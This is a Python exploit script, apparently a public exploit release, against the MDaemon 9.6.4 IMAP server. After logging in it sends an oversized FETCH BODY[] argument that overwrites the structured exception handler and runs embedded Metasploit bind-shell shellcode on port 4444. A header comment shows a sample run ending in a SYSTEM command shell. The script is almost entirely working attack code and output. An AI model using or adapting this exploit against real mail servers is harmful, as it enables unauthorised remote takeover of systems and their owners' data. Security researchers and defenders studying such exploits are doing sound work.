#!/usr/bin/python ############################################################################### # # MDAEMON (POST AUTH) REMOTE R00T IMAP FETCH COMMAND UNIVERSAL EXPLOIT 0day # Bug discovered and coded by Matteo Memelli aka ryujin # http://www.gray-world.net http://www.be4mind.com # # Affected Versions : MDaemon IMAP server v9.6.4 # Tested on OS : Windows 2000 SP4 English # Windows XP Sp2 English # Windows 2003 Standard Edition Italian # Discovery Date : 03/13/2008 # #----------------------------------------------------------------------------- # # muts AS YOU CAN SEE, I ALWAYS MAINTAIN MY PROMISES! LOL # # Thx to Silvia for feeding my obsessions # Thx to didNot at #offsec # (yes he doesn't look like Silvia but he's a nice guy LOL) # and to www.offensive-security.com # #----------------------------------------------------------------------------- ############################################################################## # [+] Connecting to imap server... # * OK test.local IMAP4rev1 MDaemon 9.6.4 ready # # [+] Logging in... # 0001 OK LOGIN completed # # [+] Selecting Inbox Folder... # * FLAGS (\Seen \Answered \Flagged \Deleted \Draft \Recent) # * 16 EXISTS # * 16 RECENT # * OK [UNSEEN 1] first unseen # * OK [UIDVALIDITY 1205411202] UIDs valid # * OK [UIDNEXT 17] Predicted next UID # * OK [PERMANENTFLAGS (\Seen \Answered \Flagged \Deleted \Draft)] . # 0002 OK [READ-WRITE] SELECT completed # # [+] We need at least one message in Inbox, appending one... # + Ready for append literal # # [+] What would you like for dinner? SPAGHETTI AND PWNSAUCE? # * 17 EXISTS # * 17 RECENT # 0003 OK [APPENDUID 1205411202 17] APPEND completed # # [+] DINNER'S READY: Sending Evil Buffer... # [+] DONE! Check your shell on 192.168.1.195:4444 # # # matte@badrobot:~$ nc 192.168.1.195 4444 # (UNKNOWN) [192.168.1.195] 4444 (?) : Connection refused # matte@badrobot:~$ nc 192.168.1.195 4444 # Microsoft Windows 2000 [Version 5.00.2195] # (C) Copyright 1985-2000 Microsoft Corp. # # C:\MDaemon\APP>whoami # whoami # NT AUTHORITY\SYSTEM # # C:\MDaemon\APP> ############################################################################## from socket import * from optparse import OptionParser import sys, time print "[*********************************************************************]" print "[* *]" print "[* MDAEMON (POST AUTH) REMOTE R00T IMAP FETCH COMMAND EXPLOIT *]" print "[* DISCOVERED AND CODED *]" print "[* by *]" print "[* MATTEO MEMELLI *]" print "[* (ryujin) *]" print "[* www.be4mind.com - www.gray-world.net *]" print "[* *]" print "[*********************************************************************]" usage = "%prog -H TARGET_HOST -P TARGET_PORT -l USER -p PASSWD" parser = OptionParser(usage=usage) parser.add_option("-H", "--target_host", type="string", action="store", dest="HOST", help="Target Host") parser.add_option("-P", "--target_port", type="int", action="store", dest="PORT", help="Target Port") parser.add_option("-l", "--login-user", type="string", action="store", dest="USER", help="User login") parser.add_option("-p", "--login-password", type="string", action="store", dest="PASSWD", help="User password") (options, args) = parser.parse_args() HOST = options.HOST PORT = options.PORT USER = options.USER PASSWD = options.PASSWD if not (HOST and PORT and USER and PASSWD): parser.print_help() sys.exit() # windows/shell_bind_tcp - 317 bytes # http://www.metasploit.com # EXITFUNC=thread, LPORT=4444 shellcode = ( "\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24\x8b" "\x45\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18\x8b\x5f\x20\x01" "\xeb\x49\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84\xc0\x74\x07" "\xc1\xca\x0d\x01\xc2\xeb\xf4\x3b\x54\x24\x28\x75\xe5\x8b\x5f" "\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x03\x2c\x8b" "\x89\x6c\x24\x1c\x61\xc3\x31\xdb\x64\x8b\x43\x30\x8b\x40\x0c" "\x8b\x70\x1c\xad\x8b\x40\x08\x5e\x68\x8e\x4e\x0e\xec\x50\xff" "\xd6\x66\x53\x66\x68\x33\x32\x68\x77\x73\x32\x5f\x54\xff\xd0" "\x68\xcb\xed\xfc\x3b\x50\xff\xd6\x5f\x89\xe5\x66\x81\xed\x08" "\x02\x55\x6a\x02\xff\xd0\x68\xd9\x09\xf5\xad\x57\xff\xd6\x53" "\x53\x53\x53\x53\x43\x53\x43\x53\xff\xd0\x66\x68\x11\x5c\x66" "\x53\x89\xe1\x95\x68\xa4\x1a\x70\xc7\x57\xff\xd6\x6a\x10\x51" "\x55\xff\xd0\x68\xa4\xad\x2e\xe9\x57\xff\xd6\x53\x55\xff\xd0" "\x68\xe5\x49\x86\x49\x57\xff\xd6\x50\x54\x54\x55\xff\xd0\x93" "\x68\xe7\x79\xc6\x79\x57\xff\xd6\x55\xff\xd0\x66\x6a\x64\x66" "\x68\x63\x6d\x89\xe5\x6a\x50\x59\x29\xcc\x89\xe7\x6a\x44\x89" "\xe2\x31\xc0\xf3\xaa\xfe\x42\x2d\xfe\x42\x2c\x93\x8d\x7a\x38" "\xab\xab\xab\x68\x72\xfe\xb3\x16\xff\x75\x44\xff\xd6\x5b\x57" "\x52\x51\x51\x51\x6a\x01\x51\x51\x55\x51\xff\xd0\x68\xad\xd9" "\x05\xce\x53\xff\xd6\x6a\xff\xff\x37\xff\xd0\x8b\x57\xfc\x83" "\xc4\x64\xff\xd6\x52\xff\xd0\x68\xef\xce\xe0\x60\x53\xff\xd6" "\xff\xd0" ) s = socket(AF_INET, SOCK_STREAM) print " [+] Connecting to imap server..." s.connect((HOST, PORT)) print s.recv(1024) print " [+] Logging in..." s.send("0001 LOGIN %s %s\r\n" % (USER, PASSWD)) print s.recv(1024) print " [+] Selecting Inbox Folder..." s.send("0002 SELECT Inbox\r\n") print s.recv(1024) print " [+] We need at least one message in Inbox, appending one..." s.send('0003 APPEND Inbox {1}\r\n') print s.recv(1024) print " [+] What would you like for dinner? SPAGHETTI AND PWNSAUCE?" s.send('SPAGHETTI AND PWNSAUCE\r\n') print s.recv(1024) print " [+] DINNER'S READY: Sending Evil Buffer..." # Seh overwrite at 532 Bytes # pop edi; pop ebp; ret; From mdaemon/HashCash.dll EVIL = "A"*528 + "\xEB\x06\x90\x90" + "\x8b\x11\xdc\x64" + "\x90"*8 + shellcode + 'C'*35 s.send("A654 FETCH 2:4 (FLAGS BODY[" + EVIL + " (DATE FROM)])\r\n") s.close() print " [+] DONE! Check your shell on %s:%d" % (HOST, 4444)